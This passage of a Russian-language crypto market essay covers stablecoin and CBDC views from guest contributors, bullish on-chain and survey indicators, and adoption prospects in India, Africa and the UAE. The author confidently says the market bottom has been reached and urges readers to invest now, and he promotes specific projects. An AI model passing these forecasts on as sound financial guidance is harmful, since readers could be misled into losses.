Мы ожидаем, что $USDC будет продолжать наступление на протоколы, которые им не нравятся. Tornado Cash это был только первый прецедент.
И сейчас мы видим, что даже Binance использовали этот нарратив, чтобы убрать этот риск и не зависеть от $USDT и $USDC конвертируя активы в $BUSD.
Таким образом, мы думаем, что и другие централизованные площадки могут этот кейс повторить.
Я думаю, что рынок стейблкоинов через два года будет разительно отличаться от текущего.
Скорее всего около 30 % рынка будут незамораживаемые активы. Мы будем видеть улучшения в виде User Experience. То есть то, что мы предлагаем.
И DAO мое понимание, что мы сейчас находимся в начале хайпа DAO.
NFT
сделали много иксов с бенефитов контент-криаторов. То есть люди которые зарабатывали на НФТ, которые их создавали это артисты, у них много фолловеров и поэтому всякие темы типа патреон очень быстро расходятся, потому что бенефициары это key opinion leaders. (Простыми словами — новая удобная форма поддержать артиста/бренд, стать частью этого)
Я думаю, что DAO как концепт очень сильно выгоден создателям контента , потому что они перестают зависеть от платформы и гораздо более фундаментально сохраняют и капитализируют свою аудиторию.
Поэтому как только будет удобный инструмент для адаптации и внедрения DAO , начнется восхождения DAO , они сделают тысячи иксов.
Поэтому я думаю, что DAO и стейблы, которые контролируются DAO это усилит обоюдный контент.
Хочется верить, что Stable Unit будет самым большим игроком. Но скорее всего мы увидим что весь рынок замучится таким образом, что какие- то базовые активы на рынке будут контролировать пользователи , нежели какой-то узкий круг лиц, девелоперы или инвесторы.


Лично мне это мнение дало множество инсайтов, советую вам изучить глубже тезисы , которые были непонятны. Текст был практически полностью сохранен в оригинале , чтобы вы могли погрузиться в мысли создателя , это полезный опыт.
Перейдем дальше к противоположному, поговорим о государственных стейблкоинах - CBDCs.
Осветить эту тему я пригласил звездочку крипто-аналитики и эксперта в области CBDCТаисию Романову
В марте 2022-го Таисия выпустила эссе-рассуждение на тему CBDC, с тех пор это направление сильно развилось, но статья поможет дать фундамент восприятия.
Актуальность понимания этого направления можно описать одной инфографикой:

Июль 2022
Во времена, когда многие продолжают держаться мнения: "криптовалютаскам и никому не нужна ", правительства огромного количества стран активно изучают новые горизонты. Все [как обычно](https://www.newstatesman.com/science-tech/2016/08/25-years-here-are- worst-ever-predictions-about-internet).
Передаю слово Таисии :
Статья писалась еще в начале года, и сейчас большое количество стран запускают CBDC , в том числе и на стадии тестирования, и в песочнице, на сетях подобных существующим блокчейнам.
Например в Норвегии [запустили](https://www.ixbt.com/news/2022/09/12/centralnyj-bank-norvegii- ispolzuet-brokchejn-ethereum-dlja-sozdanija-nacionalnoj-cifrovoj- valjuty.html) тестирование цифровой кроны на эфироподобном блокчейне.
В США [проводилось](https://cointelegraph.com/news/ripple-advisor-teases- more-cbdc-announcements-in-the-next-few- weeks?utm_source=Telegram&utm_medium=social) тестирование под эгидой некоммерческой организации, а теперь уже и госструктуры тестируют цифровой доллар.
В Казахстане Binance официально [предложили](https://forklog.com/news/tsb-kazahstana-protestiruet-bnb-chain- dlya-sobstvennoj-cbdc) протестирвоать CBDC на BSC.
Но, важно понимать, что все они тестируют CBDC на копии уже существующего блокчейна.
Понятно, что у CBDC ноды не будут задействованы в исходном материнском блокчейне. Для государственных целей будет создана копия. Возможно, с полным сохранением функционала, или же с урезками или дополнениями.
И, соответственно, данная сеть будет уже полностью централизована и находиться под управлением государства. К исходному блокчейну отношения такая сеть иметь не будет. Потому что это было бы просто верхом неосмотрительности и глупости для властей размещать свои ноды на “децентрализованном блокчейне” принадлежащем третьим лицам.
Все кричат: “Смотрите Норвегия запускает CBDC на эфире!”Конечно же нет. Она не может так сделать.И тем более это пока тесты, не факт что такой EVM -блокчейн сохранится в итоге. Возможно, они напишут какой-то свой.
У нас в РФ тестируется EVM -блокчейн для цифрового рубля. К сожалению, у меня нет доступа до уровня разрабов, поэтому я точно не могу сказать что он из себя представляет, но по факту это будет сесть с консесусом Proof of Authority, как я и описала у себя в статье. Держателем нод будет выступать ЦБ. Допускаю, что ноды будут еще и у банков, но это все равно будет под эгидой ЦБ.
Недавно посетила Finopolis в Москве, где проходила презентация цифрового рубля и они объявляли, что непосредственно сейчас работают над бесшовной связкой оплат для физических и юридических лиц. Чтобы ты мог спокойно из своего аккаунта Госуслуг переходить на оплату товаров и услуг, с уже подключенным к системе кошельком.
То есть намерение у властей в том, чтобы это все было одной единой системой. И лично меня в этом всем беспокоит даже не диктатура и полный контроль. Это можно сделать и при помощи безнала. Это вообще не проблема. Он точно так же маркируется , его также можно квотировать в плане контроля трат, можно запрещать траты и по принципу передвижения. Геолокация же есть в телефоне. Переместился куда-то, и тебе заблокировали возможность расплачиваться. Или ограничили траты по типологии.
То есть, цифровой рубль вводят не для того, чтобы всех контролировать , нет.
Разницы для простого человека нет никакой. Это новые технологии, гонка своеобразная между странами , каждая хочет показать что они более инновационные. Плюс, в потенциале она приведет к снижению издержек и расходов на выпуск фиатной валюты.
Если традиционные банковские платежи в контексте международных расчетов подчиняются существующей банковской системе , то соответственно введение CBDC дает уже иной уровень взаимодействия, и те страны, которые “не дружат” с международной банковской системой , могут создать альтернативную систему на базе кросс-блокчейновых платежей.
Так что, внедрение таких технологий им более актуально скорее для решения задач такого рода. Мы же с нашими копеечками им вообще не сдались. Я не защищаю ЦБ, но просто если задуматься, если бы им нужен был тотальный контроль , то он давно бы уже был. В том же самом Израиле уже практически [упразднили](https://russia-israel.com/blog/israel- blog/v-izraile-s-1-avgusta-ogranichili-oborot-nalichnyh.html) наличную оплату, там почти везде безнал и ограничение по суммам, доступным для хранения. Хотя сейчас они только [тестируют](https://forklog.com/news/bank-izrailya- vernulsya-k-idee-vypuska-tsifrovogo-shekelya) цифровой шекель.
Бояться надо другого. Если они замахиваются так высоко и так глубоко, на уровне: “Давайте мы сделаем бесшовный переход из одной службы в другую службу (из госулсуг на оплату и прочее прочее).” - то это все к чему приводит? К усложнению системы. А ведь любое техническое усложнение системы приводит к тому, что система становится менее устойчивой , более подверженной атакам и возрастает количество возможных погрешностей в этой системе.
Потому что человеческий фактор тоже никто не отменял. И, соответственно, эта система будет неустойчивая, там будет куча багов и дыр, через которые будут утекать персональные данные , будут постоянные взломы , которые могут привести к краже средств. Вот этого надо опасаться. И власти это тоже понимают, потому в официальной документации сроки внедрения указаны довольно размытые. Т.е. никаких "завтра переходим на цифровой рубль" не будет, это может привести к коллапсу системы расчетов.


Мнение Таисии GFIS здорово сплетается с мнением Алекса из StableUnit, с большой вероятностью мы увидим подобное деление сегмента стейблкоинов в будущем.
Большое спасибо нашим гостям, движемся дальше!

Industry-flip​

![](/proxy.php?image=https%3A%2F%2Frune- ankle-d9b.notion.site%2Fimage%2Fhttps%253A%252F%252Fs3-us- west-2.amazonaws.com%252Fsecure.notion- static.com%252Fd7720b57-cfe3-45a8-a5b3-564032fc09a8%252FUntitled.jpeg%3Fid%3D51806d52-f9f2-445b-91fe- aa32c29d0d84%26table%3Dblock%26spaceId%3Dda170c8a-a73c-42b3-85ad-0342039b0128%26width%3D2000%26userId%3D%26cache%3Dv2&hash=59f0431472efd36974926c6ed48e673e)![](/proxy.php?image=https%3A%2F%2Frune- ankle-d9b.notion.site%2Fimage%2Fhttps%253A%252F%252Fs3-us- west-2.amazonaws.com%252Fsecure.notion- static.com%252Fd7720b57-cfe3-45a8-a5b3-564032fc09a8%252FUntitled.jpeg%3Fid%3D51806d52-f9f2-445b-91fe- aa32c29d0d84%26table%3Dblock%26spaceId%3Dda170c8a-a73c-42b3-85ad-0342039b0128%26width%3D2000%26userId%3D%26cache%3Dv2&hash=59f0431472efd36974926c6ed48e673e)
Эта глава посвящена переоценке происходящего : отобраны новости, события, факты, которые наводят на мысли, что именно сейчас происходит перелом рынка , Первые проблески смены нисходящей фазы на восходящую.
Также я постарался сюда включить данные, которые помогут оценить потенциал дальнейшего роста.
43 % зумеров и 47 % миллениалов уже инвестировали вкриптовалюты на будущую пенсию —- [исследования](https://cointelegraph.com/news/almost-50-of-gen-z-and- millennials-want-crypto-in-retirement-funds-survey) BlackRock и Vanguard.
Миллениалы
и gen -z охватывают людей рожденных с 1981 по 2021 год. Сейчас это уже или вот-вот станут основной экономической опорой в мире. Так как они уже знакомы с криптой , с каждым годом их влияние будет усиливаться.
Стоит понимать, что [мировое богатство](https://www.visualcapitalist.com/the-worlds-billionaires-by- generation/#:~:text=Silent%20Generation%20billionaires%20are%20the,fashion%2C%20and%20real%20estate%20industries.) пока находится в руках людей старших поколений (80 % миллиардеров - gen X), которые находятся дальше от крипты, но с каждым годом происходит перераспределение. Что является серьезнейшей перспективой для крипторынка.
Более 50 % избирателей -демократов и республиканцев согласны с тем, чтокрипта — это «будущее финансов» опрос.
QryptoQuant отмечает, что в макро-масштабе, по метрике LTH SOPR*, $BTC находится в зоне, которая ранее ассоциировалась с формированием макро дна. Но формирование дна подразумевает время и волатильность. Другими словами это можно объяснить так: сильно хуже уже вряд ли будет — скорее всего мы скоро будем расти.


LTH SOPR (Long Term Holder Spent Output Profit Ratio) — служит индикатором для оценки поведения и прибыльности инвесторов с умными деньгами , которые имеют более глубокое фундаментальное понимание актива и больший опыт работы с волатильностью рынка.
Другими словами, эти люди с меньшей вероятностью реагируют на волатильность рынка и имеют более высокую фундаментальную убежденность в необходимости удержания актива.
А график отражает, что в совокупности их становится больше в общей массе.
Естественно, метрики не способны идеально предсказать будущее. Но это хороший инструмент , особенно, когда анализируются не взаимосвязанные друг с другом данные, но наводят на схожие выводы.
[Исследование](https://cryptoslate.com/bcg-bitget-and-foresight-ventures- report-says-real-crypto-expansion-is-coming/): Инвесторы только 0,3% капитала вкладывают в криптовалюты, для сравнения, в акции — 25%.
![](/proxy.php?image=https%3A%2F%2Fimg4.teletype.in%2Ffiles%2Fb4%2F7f%2Fb47fedb3-bcac-42bb- ac8e-27c60547dd2e.png&hash=737a3f0c83ca505c82cb9b99a2903aaa)![](/proxy.php?image=https%3A%2F%2Fimg4.teletype.in%2Ffiles%2Fb4%2F7f%2Fb47fedb3-bcac-42bb- ac8e-27c60547dd2e.png&hash=737a3f0c83ca505c82cb9b99a2903aaa)
В отчете рассматривается скорость распространения Интернета в 90-е годы , количество держателей криптовалюты используется в качестве прокси для пользователей web3, и делается вывод, что фактический всплеск распространения еще впереди.
Стартапы NFT и DeFi доминируют на рынке Азиатско -Тихоокеанского региона, оставляя позади сектор электромобилей - [Исследование](https://assets.kpmg/content/dam/kpmg/xx/pdf/2022/07/emerging- giants-in-asia-pacific.pdf) KPMG и HSBC (лидеры в сегменте бухгалтерских услуг)

Британская финансовая ассоциация ([IAMTN](https://www.iamtn- network.org/)) в своем исследовании называет криптовалюту «хорошей альтернативой » традиционным платежам.
На фоне падения веры в традиционные активы инвесторы диверсифицируются в криптовалюту : например, на фоне падения фунта и евро, объем покупок в паре с упомянутыми валютами значительно возрос.


Емкость сети Lightning бьет очередной рекорд. Почему так происходит и кто этим пользуется мы рассмотрим дальше в главе о крипто-растущих регионах.
[Morgan Stanley :](https://finance.yahoo.com/news/bitcoin-lightning- network-based-strike-112519630.html) Lightning прямой конкурент Visa.
Уровень накопления BTC достиг 7-летнего максимума

$BTC , которые не перемещались 6 месяцев и больше, сейчас составляют 74 % от реализованного капитала.
В последних минимумах цифры были следующие:
- 70% в 2019 году
- 77% в 2015 году

Почти 28 % холдят от 12 до 18 месяцев.
BCG : [прогнозируют](https://github.com/Foresight- Ventures/Research/blob/main/What%20Does%20the%20Future%20Hold%20for%20Crypto%20Exchanges_Eng_Jul%202022.pdf) 1 миллиард пользователей в web3 к 2030г (сейчас 140 млн).
Еще в июле объем средств (в USD), переведенных в сети $BTC побил исторический рекорд за весь 2021.
![](/proxy.php?image=https%3A%2F%2Fimg3.teletype.in%2Ffiles%2Fe8%2F62%2Fe8621ebf- ed72-467c-b355-f5c10316307a.jpeg&hash=944c5991edf168ae3f682d85674cad1e)![](/proxy.php?image=https%3A%2F%2Fimg3.teletype.in%2Ffiles%2Fe8%2F62%2Fe8621ebf- ed72-467c-b355-f5c10316307a.jpeg&hash=944c5991edf168ae3f682d85674cad1e)
Рынок $BTC прошел через мощнейшую капитуляцию с 2011.

Произошло крупнейшее перераспределение $BTC.

Холдеры удерживают около 80% всего предложения $BTC - ситуация напоминает периоды формирования дна в прошлом.

ЦБ Англии : выжившие в этом медвежьем цикле в крипте могут стать доминирующими игроками на рынке.
Santiment : самое страшное возможно уже позади, среди трейдеров значительно снизилась интенсивность массового "медвежьго сознания /настроения " . Исторически такое происходило ближе к макро дну.

Общее принятие замедляется во всем мире в условиях медвежьего рынка , но остается выше тех уровней , что предшествовали предыдущему бычьему рынку.
Важно отметить, что глобальное внедрение остается намного выше уровней , наблюдавшихся до бычьего рынка 2019 года.
Холдеры смотрят оптимистично, некоторые новички, которых привлек рост цен в 2020 -2021 году остаются в рынке и продолжают инвестировать, что поддерживает фундаментальные показатели рынка относительно здоровыми.

Несмотря на то, какой страх к крипте навеивает американский SEC , Америка и ее одна из самых платежеспособных аудиторий в мире, абсолютно лидируют в направлении "оффлайн -крипты " - количестве криптоматов.
Криптомат - криптовалютный банкомат , с помощью которого ты можешь купить криптовалюту за наличные и с карты, и наоборот, вывести свои токены в фиат.

В следующие 5-6 лет, индустрия аппаратных кошельков будет [расти](https://www.globenewswire.com/news- release/2022/07/21/2483455/0/en/Global-Cryptocurrency-Exchange-Platforms- Market-Projected-to-Hit-674-9-Million-by-2028-Growing-at-12-7-CAGR-Report-by- Vantage-Market-Research.htm) в 2 раза быстрее индустрии централизованных криптобирж.
Binance
создала глобальный совет из бывших государственных и финансовых чиновников , которые займутся вопросами регулирования и порядком взаимодействия компаний с регуляторами в различных юрисдикциях.
Совет возглавляет бывший председатель сенатского комитета по финансам США Макс Бакус , который так же был послом США в Китае.
Макс Бакус - это известный и влиятельный сторонник криптографии, блокчейна и Web3 По его мнению, за этими технологиями будущее и необходимо приложить все усилия для их распространения в глобальном масштабе.
В совет так же входят: бывший глава французского казначейства Бруно Безар , бывший старший советник президента США Барака Обамы Дэвид Плауфф , советник президентского комитета Кореи Хён -Рин Банг, бывший экономический советник премьер-министра Франции , бывший министр экономики Бразилии Энрике Мейреллес, бывший еврокомиссар Дэвид Райт и другие.
Все эти люди теперь работают в Binance и будут лоббировать крипту в мире используя свой опыт, связи и деньги Binance.
Glassnode : Рынок переживает падение, которое сопоставимо только с криптогедоном 2011 -го.
Июнь 2022 -го стал худшим месяцем в истории $BTC.

Другими словами: множество слабых рук покинуло рынок , очень вероятно, что худшее позади = назревает постепенный рост.
"Цена $BTC в этот день".
29 Июля я работал над этой частью статьи, оставлю на память, наводит на мысли.

CryptoQuant : Рекордный приток стейблкоинов на криптобиржи.

Председатель CFTC[ожидает](https://finbold.com/cftc-chair-expects-crypto-to- be-a-part-of-mainstream-american-portfolios/), что криптовалюта станет «частью основных американских портфелей».
CFTC - комиссия по торговле товарными фьючерсами**,** независимое агенствоправительства США.
Ноябрь
2022 - третья по величине распродаже активов $BTC**-** майнерами в истории. Прежде было лишь две подобные капитуляции — в 2011 и 2015 годах, когда курс биткоина падал до $2,1 и $290 соответственно. Что было дальше видно по графику:

Сходство или тождество? — $BTC -halving 64 %


И пока мы мечтаем о crypto to the moon , она действительно покоряет космос , в том числе луну.
В Бразилии [установлена](https://cointelegraph.com/news/brazil-beams- bitcoin-from-space-a-case-for-btc-satellite-nodes) первая спутниковая нода $BTC.
ранее: Первая транзакция с $BTC послана на Луну через радио-волны.


В начале статьи мы рассмотрели тезис от Grayscale датированный июлем , что медвежий рынок близится к своему завершению : осталось ±120 дней.
Незасимые от них Glassnode в октябре, на основе своего [исследования](https://insights.glassnode.com/russian/the-week-onchain- week-41-2022-russian/) , выдвигают похожий тезис : близится завершение медвежьего рынка. До полного восстановления может пройти еще несколько месяцев.
К таким выводам Glassnode пришли, учитывая, что цена $BTC консолидируется более 120 дней, акиты агрессивно накапливают с концасентября. Сравнив нынешний даунтренд с сопоставимыми периодами рынка в прошлых циклах. Исследование достаточно разностороннее и масштабное, ознакомиться будет полезно.
Ознакомившись с данными разных методов и источников , обнаруживаем, что с большой вероятностью находимся на макро дне.
Это можно сопоставить с периодами упадков предыдущих циклов: время наилучших предложений и цен, наименьшего сопротивления и конкуренции.
Периоды, когда мог купить $BTC по 2000 , $SOL с $50МЛН капитализацией.
Наблюдать с разных сторон , чтобы увидеть общую картину — это и называется кругозор.
Доверять одному мнению вслепую — подобно притче о слоне и слепых мудрецах.
Каждый будет видеть свое — хвост, хобот, бивень: кому-то будет твердо, кому-то тепло, кому-то мягко, кому-то мокро.
Но объединив данные , удается обнаружить реальность.
![](/proxy.php?image=https%3A%2F%2Fwww.iliko.ru%2Fwp- content%2Fuploads%2F2017%2F05%2F9236225.jpg&hash=2914f2cdbc0abdfd1cdd8ec51b847fb7)![](/proxy.php?image=https%3A%2F%2Fwww.iliko.ru%2Fwp- content%2Fuploads%2F2017%2F05%2F9236225.jpg&hash=2914f2cdbc0abdfd1cdd8ec51b847fb7)
Хоть сейчас цена ошибки на крипторынке минимальна , — есть время и пространство для действий , вряд ли мы увидим даже двукратное падение. Степень вознаграждения к рискумаксимальна. Вкладывая силы и ресурсы сейчас очень вероятно получить многократную отдачу в будущем.
Это касается всех стадий развития на крипторынке:
изучения — ты сможешь эффективно применить свои знания чтобы заработать или устроиться на работу ;
строительства — обнаружишь качественные паттерны, что выделят тебя из конкурентов ;
инвестиций — соберешь портфель проектов, которые определят будущее индустрии.
И реальность переворачивается — упускать такую возможность сейчас может стать критической ошибкой для будущего.
Эта статья хоть и дала множество ответов, но также ее ключевая цель — дать дорогу в рынок и желание пройти этот путь.

Будущие ведущие экономики web3 (и мира?)​


Я прошу уделить этой главе отдельное внимание, пока рынок охвачен "макроэкономикой " — ситуация действительно тяжелая , но с этим не стоит мириться.
Пока кризис распространяется по странам первого мира , в странах "третьего " мира экономика растет.
Грамотно направить средства в этом направлении — это значит получить шанс не только разумно диверсифицироваться , но и выйти из кризиса победителями.
Ведь пока где-то в мире происходит крах и закат , на другой части - новое свершение. Благодаря технологиям мы сегодня абсолютно на равных правах можем быть участниками этой экономики и сопутствующей ей роста.
![](/proxy.php?image=https%3A%2F%2Fs9.travelask.ru%2Fsystem%2Fimages%2Ffiles%2F001%2F018%2F347%2Fwysiwyg_jpg%2Fday- and- night.jpg%3F1515603449&hash=7fd4960182344c8f766c844c078e26a2)![](/proxy.php?image=https%3A%2F%2Fs9.travelask.ru%2Fsystem%2Fimages%2Ffiles%2F001%2F018%2F347%2Fwysiwyg_jpg%2Fday- and-night.jpg%3F1515603449&hash=7fd4960182344c8f766c844c078e26a2)
Этим я не хочу приуменьшить влияние макро -ситуации, скорее наоборот , я это четко понимаю и принимаю , отсюда рождаются действия и решения.
Страны и их союзы — это тоже часть экономики , у них тоже есть "бренд ", многие ассоциируются со стабильностью и надежностью. Реальность часто обратная, если копнуть глубже.

Внутреннее распределение Европейского Союза, страны в профиците - обеспечивают и "занимают" странам в дефиците.
Тема макро — стоит отдельного соизмеримого труда , для этого нужно начинать с чего-то знакомство, я порекомендую **эссе Артура Хейса, **важно уточнить — не стоит напрямую следовать его выводам , это лишь способ увидеть картину шире , чтобы начать собственное изучение.
Здесь же я сконцентрируюсь на конкретных возможностях : вариантах выхода из сложившейся ситуации. <з
Пока я пишу эту статью, побывал более чем в пятнадцати городах , шести странах и четырех часовых поясах. Такие активные движения, конечно, косвенно обусловленны мировыми событиями.

Но и имеют концептуальный смысл — чтобы работать в сфере криптовалют на достойном международном уровне , нужно понимать как она устроена , как к ней относятся и какое место она занимает по всему миру.

Click to expand...

Опыт наиболее развитых в плане принятия стран может быть качественно встроен в менее продвинутые регионы. Этот опыт может быть также полезен проектам как способ вовлечения новой большой аудитории.

Click to expand...

За это время я повидал многое :

![](/proxy.php?image=https%3A%2F%2Fvinylstatus.com%2Fwp- content%2Fuploads%2F2017%2F08%2Fbitcoin-accepted- here.jpg&hash=afa050e6a730c12ff770d71ca9237986)![](/proxy.php?image=https%3A%2F%2Fvinylstatus.com%2Fwp- content%2Fuploads%2F2017%2F08%2Fbitcoin-accepted- here.jpg&hash=afa050e6a730c12ff770d71ca9237986)

Жизнь crypto -nomad очень захватывающее явление.
Знаете, кто давно держит руку на пульсе индустрии — уже привык к тому, что криптовалюты буквально переворачивают мир.
Я никогда не перестану удивляться выводам, к которым удается прийти благодаря этой сфере.

Что если я вам скажу, что нам нагло врут о мировом устройстве?​

Ха-ха, шутка, хотел бы я так начинать свои статьи, но в этом есть доля правды :
Страны , которые общественно-принято считать "третьего мира " — это самые экономически -прогрессивные * регионы нашей планеты**.**

*в отношении применения технологии блокчейн, темпов роста.

Значительная часть будущего индустрии криптовалют будет

приходиться на эти четыре региона:​

Африка и Ближний Восток , Индия , Латинская Америка и

Юго -Восточная Азия.​

Они активно развиваются и являются перспективными , несут в себе огромный потенциал нереализованного экономического рынка.
Что это значит?
За примером далеко не буду идти и сравню с криптомонетами : есть мировые экономики первого порядка , они относительно стабильны , им доверяют — можем сравнить с $BTC и $ETH, они куда-то движутся , в перспективе растут. Но чтобы сделать даже 10 иксов , должно произойти что-то очень масштабное.
А есть hidden gems в виде $AVAX , $SOL , $ATOM, $APT e.t.c. Их капитализация куда ниже , но апсайд роста выше — в итоге мы пронаблюдали как они росли стократно. Их можно сравнить с активно-растущими экономиками стран третьего мира.
Конечно, это метафора на коленке, но она облегчает понимание.
Сделаем метафору более реалистичной: невероятно на что способна смесь из эффективно направленной дешевой рабочей силы с неистовым желанием лучшей жизни.
Но не всегда это приводит к экономическому чуду , — необходим рычаг воздействия. Им стали криптотехнологии.
Конечно, чтобы на этом зарабатывать , требуется повышенный контекст понимания индустрии — это сложнее.
Но на вложенный доллар ты получаешь больше , к чему и стремятся успешные инвесторы , сохраняя отношение риска к прибыльности.
Поэтому тот, кто разберется в контексте этих регионов в крипте (и не только) — будет зарабатывать больше.
Множество значимых фондов уже инвестируют преимущественно только в эти регионы, либо проводят экспансию**, открывая** локальныеотделения.
Перейдем к сути и фактам, начнем с Индии.

Индия и ее бесконечные просторы.

![](/proxy.php?image=https%3A%2F%2Fforkast.news%2Fwp- content%2Fuploads%2F2021%2F04%2FIndia-Bitcoin-Marco-Verch-CC- BY-2.0-CCNULL.jpg&hash=46dbc11104f088d4a3a2883f754784f6)![](/proxy.php?image=https%3A%2F%2Fforkast.news%2Fwp- content%2Fuploads%2F2021%2F04%2FIndia-Bitcoin-Marco-Verch-CC- BY-2.0-CCNULL.jpg&hash=46dbc11104f088d4a3a2883f754784f6)
Для того, чтобы лучше понять пример самой активнорастущей экономики в мире , нам нужно... в него поверить.
Понять, к чему это способно привести, оценить масштабы , поэтому предлагаю обратиться к реальному примеру - метаморфозы Китая из отстающей экономики к мировому лидеру.
Как я уже говорил, Китай когда-то считался страной третьего мира , от него буквально воротились ведущие страны, — " made in China" стало именем нарицательным , шуткой, над ним насмехались.
Спустя 40 лет роста населения и сплочения ресурсов — Китай первая мировая экономика.
Для наглядности прикреплю график, который здорово отражает потенциал возможностей у регионов третьего мира.
![](/proxy.php?image=https%3A%2F%2Fupload.wikimedia.org%2Fwikipedia%2Fcommons%2Fthumb%2Fc%2Fcc%2FGDP_PPP_USA_China.svg%2Flangru-2880px- GDP_PPP_USA_China.svg.png&hash=a2a17c8117af45436352a15fca14b1b0)![](/proxy.php?image=https%3A%2F%2Fupload.wikimedia.org%2Fwikipedia%2Fcommons%2Fthumb%2Fc%2Fcc%2FGDP_PPP_USA_China.svg%2Flangru-2880px- GDP_PPP_USA_China.svg.png&hash=a2a17c8117af45436352a15fca14b1b0)
За 40 лет практически 10-ти кратное отставание испарилось.
40 лет понадобилось, чтобы из десятикратного отставания стать мировым лидером.
В двух предложениях не описать причины экономического чуда. Но это можно рассматривать как эталон : то, что последние 20 лет к ряду мы обходим стороной и не понимаем , кто в следующие два десятка лет может заставить подвинуться мировой порядок.
Подобное Китаю сейчас происходит с Индией:
За 20 лет экономика Индии выросла более, чем в 6 раз (США в ±2).
В 2005 -м году она не входила даже в топ -10 мировых экономик.
В 2023 -м году Индия [обгонит](https://www.bbc.com/news/science- environment-62126413#:~:text=Science-,World%20Population%20Day%3A%20India%20will%20overtake,in%202023%2C%20says%20the%20UN&text=India%20is%20set%20to%20become,people%2C%20according%20to%20UN%20figures.) Китай по населению, став первой страной в мире.
Индия — самая [быстрорастущая](https://theprint.in/economy/india- remains-fastest-growing-economy-with-13-5-growth-in-q1/1110319/) экономика в мире.
К 2030 -му [станет](https://www.ndtv.com/business/india-set-to- become-third-largest-economy-by-2030-say-experts-3313333) третьей экономикой в мире (сейчас 6).
И это нужно обязательно иметь в виду , когда принимаешь дальнейшие решения о своем будущих действиях в крипте.
KuCoin провели исследование на тему принятия технологий криптовалют в Индии, вот основные выводы и инсайты:
Более 115 миллионов оптимистично настроенных инвесторов в крипту. А это 15 % от населения*, еще 10 % планируют инвестировать в ближайшие полгода.
Молодые инвесторы считают, что криптовалюты это долгосрочная инвестиция , а не "шумиха ".
26 % молодых инвесторов планируют начать бизнес с помощью криптовалют.
Определение "молодых инвесторов " очень важно. Мы смотрим на этот показатель не "здесь и сейчас ", а в перспективе , ведь именно эти люди в ближайшем будущем станут фундаментом экономики Индии.
Для понимание важности этих данных приведу один показатель — возрастно -половую пирамиду. Она отражает распределение населенияотношение молодого населения к пожилому , отношение мужского населения к женскому.
Этот показатель наиболее эффективен с целью оценить и сравнить экономический потенциал стран и регионов.
Для примера сравним Индию и Европу.


Даже невооруженным глазом понятно к чему я веду: в Индии преобладает более молодое население , а значит что на каждого пенсионера приходится большее количество работоспособных людей , на фоне этого экономика будет укрепляться , т.к. и через 10 лет в этом аспекте будет все стабильно.
Чего не сказать о Европе , где преобладает более зрелое население , уже сейчас на плечах молодого населения существенная налоговая нагрузка , через 10 лет ситуация ухудшится.
Еще проще оценить это можно с помощь среднего возраста , который в ЕС43,1 в Индии — 28,7.
И мы живем в современном мире , где с медициной все хорошо и аргумент про высокую смертность уже не пройдет.
Поэтому очень важно понимать, что "оптимистичное отношение к криптовалютам " и "желание создавать бизнес с помощью криптовалют " у молодого населения Индии — это вдвойне важно , учитывая, что это самая быстрорастущая экономика и в следующем году станет первой по популяции страной.
И уже сейчас 25 % трудоспособного населения инвестируют или собираются инвестировать в крипту. Из инвестирующих 50% собираются увеличивать свои позиции. 39 % из инвесторов моложе 30 -ти лет.
А с каждым годом криптовалюта будет становиться более дружелюбной к пользователю , а в мире будет преобладать население (gen Z), которое с технологиями (в т.ч. web3) " на ты".
Теперь представляете какой начальный потенциал заложен в криптопроекты , которые начинают развиваться на территории Индии?
На данный момент наибольшую ценность выражают проекты двух категорий, которые вовлекают активнорастущую экономику в открытую экономику web3 , как это делает, например, MoHash , о котором я рассказывал ранее в этой статье — он подключает к DeFi $20ТРЛН реальных активов активнорастущих экономик, в т.ч. недвижимость и банкинг в Индии.
И которые ориентированы на масс -адопшн , как, например, проект Flint , о котором я рассказывал в своем телеграм-канале, он здорово раскрывает идею привлечь к web3 115 миллионов активных криптоинвесторов Индии :
И попросту невероятно наблюдать подобные графики , что более половины инвесторов собираются инвестировать еще. Хоть этот показатель слегка меняется в сторону холда , это скорее обусловлено действиями государства , недостатком опыта и знаний и макроэкономической ситуацией в мире.


Также очень интересный график, отражающий, что львиная доля инвесторов присоединилась к рынку совсем недавно , и это только начало , ведь происходит в период даунтренда , когда новых участников привлечь достаточно сложно.
И все это происходит несмотря неоднозначную позицию по криптовалютам со стороны государства:
Долгое время считалось , что криптовалюта запрещена , в апреле 2022 -го ввели 30 %-й налог, который хоть и дал прозрачности вопроса о запрете, но отпугнул множество стартапов с точки зрения юрисдикции.
С другой стороны, Индия уже активно пользуется блокчейн -технологиями , применяя блокчейнPolygon для борьбы с коррупцией.
Что как бы тоже отражает позицию.
Индия занимает третье место в мире по количеству талантливых специалистов Web3 , причем самые высокие темпы роста возможны в ближайшие 1-2 года.
США и Китай — 1 и 2-е место соотвественно.

Учитывая когорту успешных индийских криптопроектов и сотню миллионов оптимистично настроенных инвесторов , мы понимаем, что все с криптобизнесом в Индии будет хорошо и это замечательная цель , чтобы обратить инвесторский взор
Индия
забирает номинацию как самая перспективная криптоэкономика.

криптоАфрика! И Ближний Восток.​

Не удивляйтесь, Африка вполне способна конкурировать сейчас за самый криптоперспективный регион в мире.
Как так вышло?
Регионы Ближнего Востока и Севера Африки[самые](https://blog.chainalysis.com/reports/middle-east-north-africa- cryptocurrency-geography-report-2022-preview/) быстрорастущие крипторынки в мире!

![](/proxy.php?image=https%3A%2F%2Fblog.chainalysis.com%2Fwp- content%2Fuploads%2F2022%2F09%2Fchart-1-yoy-region- growth-1024x757.png&hash=1104971f068f7188688d084810326a8e)![](/proxy.php?image=https%3A%2F%2Fblog.chainalysis.com%2Fwp- content%2Fuploads%2F2022%2F09%2Fchart-1-yoy-region- growth-1024x757.png&hash=1104971f068f7188688d084810326a8e)
В 2021 -м году крипторынок Африки [вырос](http://Africa’s cryptocurrency market grown over 1200% by value received in the last year — link) на 1200 %

[CoinGecko](https://www.bloomberg.com/news/articles/2022-08-10/the-most- curious-nation-about-crypto-is-nigeria-study-shows): Нигерия - самая любопытная нация в отношении крипты.
После идет ОАЭ , я как раз вернулся оттуда с нескольких конференций: вышел с контактами ведущих бирж, хедж-фондов, с десятка крипто-проектов
Знаете, я впечатлен, мне удалось перезнакомиться с верхушками местных коммьюнити , солидными инвесторами , побывал на закрытых мероприятиях , вроде официальной вечеринки FIFA в предверии Wolrd Cup , а это была коллаборация с криптокартой , забавно, да? Как один из самых дорогих и эффективных рекламных средств — мировой футбол , станет проводником массадопшена.


Самое интересное, что я извлек из опыта в ОАЭ , они поддерживают преимущественно местные проекты , и это здорово поддерживает экосистему. Будет очень интересно понаблюдать, ибо по моим впечатлениям, у Дубая все шансы стать одним из лучших городов в категории метавселенных.


